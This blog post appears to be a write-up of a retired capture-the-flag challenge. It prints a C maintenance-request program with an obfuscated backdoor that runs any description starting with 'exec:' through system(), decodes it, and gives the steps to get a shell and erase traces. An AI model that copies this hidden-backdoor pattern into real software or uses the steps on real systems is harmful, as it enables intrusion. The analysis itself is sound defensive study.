My workplace recently introduced an internal
Capture the Flag
competition, where teams could sign up and compete against each other to solve
cyber security challenges. The competition itself is hosted by
MetaCTF
, and this is the start of a series of posts
on how to solve certain issues. Per the terms on their website, I will only post
solutions on retired challenges and not on any currently active challenges.
The challenge today is “Rear Hatch”, which describes a maintenance application
that was developed by a contractor, and the company is worried that they may
have left a backdoor in the code. Thankfully, they have the source code, and it
gives us a great starting point to analyze it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_REQUESTS 100
#define MAX_DESC_LENGTH 256
#define DATA_FILE "/tmp/requests.dat"
typedef struct {
int id;
char description[MAX_DESC_LENGTH];
int isCompleted;
} MaintenanceRequest;
MaintenanceRequest requests[MAX_REQUESTS];
int requestCount = 0;
void loadRequests() {
FILE *file = fopen(DATA_FILE, "rb");
if (file) {
fread(&requestCount, sizeof(int), 1, file);
fread(requests, sizeof(MaintenanceRequest), requestCount, file);
fclose(file);
} else {
printf("No existing data file found. Starting fresh.\n");
}
}
void saveRequests() {
FILE *file = fopen(DATA_FILE, "wb");
if (file) {
fwrite(&requestCount, sizeof(int), 1, file);
fwrite(requests, sizeof(MaintenanceRequest), requestCount, file);
fclose(file);
} else {
printf("Error saving requests to file.\n");
}
}
void addRequest() {
if (requestCount >= MAX_REQUESTS) {
printf("Cannot add more requests. Maximum limit reached.\n");
return;
}
MaintenanceRequest newRequest;
newRequest.id = requestCount + 1;
printf("Enter description for the maintenance request: ");
getchar();
fgets(newRequest.description, MAX_DESC_LENGTH, stdin);
newRequest.description[strcspn(newRequest.description, "\n")] = 0;
newRequest.isCompleted = 0;
requests[requestCount++] = newRequest;
saveRequests();
printf("Request added successfully.\n");
}
void viewRequests() {
if (requestCount == 0) {
printf("No maintenance requests available.\n");
return;
}
printf("Maintenance Requests:\n");
for (int i = 0; i < requestCount; i++) {
printf("ID: %d, Description: %s, Status: %s\n", requests[i].id, requests[i].description, requests[i].isCompleted ? "Completed" : "Pending");
}
}
void deleteRequest() {
int id;
printf("Enter the ID of the request to delete: ");
scanf("%d", &id);
int found = 0;
for (int i = 0; i < requestCount; i++) {
if (requests[i].id == id) {
found = 1;
for (int j = i; j < requestCount - 1; j++) {
requests[j] = requests[j + 1];
}
requestCount--;
saveRequests();
printf("Request deleted successfully.\n");
break;
}
}
if (!found) {
printf("Request with ID %d not found.\n", id);
}
}
void markRequestCompleted() {
int id;
printf("Enter the ID of the request to mark as completed: ");
scanf("%d", &id);
for (int i = 0; i < requestCount; i++) {
if (requests[i].id == id && (strncmp((char *)requests+i*264+4,"\x65\x78\x65\x63\x3a",5)==0?system((char *)requests+i*264+9),1:1)) {
requests[i].isCompleted = 1;
saveRequests();
printf("Request marked as completed.\n");
return;
}
}
printf("Request with ID %d not found.\n", id);
return;
}
void showMenu() {
printf("\n=== Maintenance Schedule Management ===\n");
printf("1. Add Maintenance Request\n");
printf("2. View Maintenance Requests\n");
printf("3. Delete Maintenance Request\n");
printf("4. Mark Request as Completed\n");
printf("5. Exit\n");
printf("=======================================\n");
printf("Enter your choice: ");
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
loadRequests();
int choice;
while (1) {
showMenu();
scanf("%d", &choice);
switch (choice) {
case 1:
addRequest();
break;
case 2:
viewRequests();
break;
case 3:
deleteRequest();
break;
case 4:
markRequestCompleted();
break;
case 5:
printf("Exiting...\n");
exit(0);
default:
printf("Invalid choice. Please try again.\n");
}
}
return 0;
}
|
We can see that there’s a suspicious pattern on line 95, which runs strncmp, and if it is successful, it runs a system call with some other string. The question now is what the string is pointing to. If we go back and look at the section where the requests array is defined, we can see that it is of type MaintenanceRequest, which in turn is a struct (relevant code section below).
typedef struct {
int id;
char description[MAX_DESC_LENGTH];
int isCompleted;
} MaintenanceRequest;
The default size of int is 4 bytes, and MAX_DESC_LENGTH is 256, giving this
a total size of 264 bytes, which is exactly what the pointer calculation ((char *)requests+i*264+4) is doing - it is now clear that the resulting pointer
points to requests[i].description.
The next step is to see what it is doing, by decoding the string it is comparing
to. The strncmp line is comparing that against the text \x65\x78\x65\x63\x3a.
However, we know that all the printable ASCII characters fall within the range
0x20-0x7e, and lowercase ASCII characters start at 0x61. A tiny Python
snippet will tell us that the above text is exec:
print("\x65\x78\x65\x63\x3a")
The final check is the call to system. system takes in a char *, and we
can see from the pointer calculation that it is referring to the character right
after the exec: string in the descripiton field.
This is now clearly a Remote Code Execution backdoor, which can be done by
anybody with access to the system. A user could login, create a maintenance
request, and because the description is not sanitized in any way, it gets saved
to the requests array. Now, because the same user can mark the maintenance
request as completed, that triggers the RCE, running the command and dumping
stdout. The user can also erase all traces of their intrusion by deleting the
maintenance request.
So, to summarize, the user would login to the remote system, enter 1 to create a
new maintenance request, and enter the string exec:sh to run a shell. Then,
the user simply enters 4 to mark the maintenance request as resolved, which
would drop them into the shell, and they have full access to the system.
Finally, once they’ve finished exfiltrating the data, they would simply run the
command exit to exit from the shell, and then delete the maintenance request,
thereby erasing all traces of their intrusion.